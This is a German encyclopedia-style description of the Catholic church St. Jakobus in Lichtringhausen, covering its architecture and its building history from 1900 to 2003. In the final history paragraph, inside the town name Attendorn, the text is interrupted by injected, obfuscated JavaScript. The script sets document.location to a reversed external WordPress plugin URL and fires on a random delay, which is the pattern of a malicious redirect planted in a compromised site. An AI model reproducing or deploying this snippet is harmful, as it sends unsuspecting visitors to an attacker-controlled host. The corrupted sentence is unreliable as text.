Lage und Beschreibung
Die Kirche liegt am östlichen Dorfrand in Lichtringhausen, Plettenberger Str. 121.
Gebaut als schlichter Saalbau in den Jahren 1910/11, vier Achsen mit Holztonne und eingezogenem, rechteckigem Chor mit Kreuzrippengewölben. Rustizierender Quaderbau mit betonten Ecken und Dachreiter. Am Chor südlicher Sakristeianbau. Einfache Rundbogenfenster. Südlich anschließend freistehendes, zweigeschossiges Pfarrhaus, Bruchstein mit Putzgewänden. Im Obergeschoss eine Brücke zum Dachboden der Sakristei. Die Kirche befindet sich am Ortsrand, umgeben von lockerer Bebauung mit großen Grünflächen.
Geschichte
Am 17. Juni 1900 wurde ein Kapellenverein gegründet, der die Kapelle aus dem Jahre 1788 erweitern wollte. Fünf Jahre später wurde das Vorhaben aber wieder aufgegeben, da es an finanzieller Unterstützung fehlte. Zudem erwies sich die steile Lage des Kapellengrundstücks als problematisch. Als Lösung stellte der 1908 in Lichtringhausen anwesende Domkapitular Dr. Alexander Schnütgen aus Köln den Bau einer neuen Kirche nebst Wohnung für den Geistlichen in Aussicht. Das erforderliche Grundstück wurde von Johann Rauterkus (Peters) zur Verfügung gestellt. Die Baukosten für Kirche und Vikarie wurden von dem Bauunternehmer Bernhard Greitemann auf 45.000 – 50.000 Mark geschätzt. Im November 1908 erwartete man den Besuch des Straßburger Dombaumeisters a.D. Ludwig Arntz, Freund des Domkapitulars, der als Baumeister tätig wurde. In 1909 wurde mit dem Bau der Kirche begonnen. Im Sommer 1910 wurde die neue Kirche mit Altären, Kommunionbank, Beichtstuhl, Gemälden, Heiligenfiguren, Kruzifixen und Stationsbildern ausgestattet. Im November 1910 teilte der Bauunternehmer Greitemann Domkapitular Schnütgen mit, dass sämtliche Arbeiten fertiggestellt seien. Am 29. Januar 1911 wurde die Kirche unter dem Patronat St. Jakobus des Älteren von Pfarrer Menne aus Attentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dorn benediziert. Die Innenausstattung der Kirche steht heute unter Denkmalschutz. Im Jahr 2003 wurde an die Vikarie ein Pfarrheim angebaut. Durch die parallel zur Kirche verlaufende Ausrichtung des neuen Gebäudes entstand ein sehr schöner Innenhof.